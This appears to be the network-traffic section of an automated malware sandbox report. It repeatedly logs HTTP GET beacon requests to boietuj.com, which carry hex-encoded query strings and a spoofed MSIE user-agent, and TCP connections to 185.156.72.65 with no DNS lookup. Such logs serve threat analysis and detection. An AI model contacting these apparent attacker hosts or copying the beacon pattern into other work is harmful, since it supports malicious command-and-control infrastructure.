Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)

Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
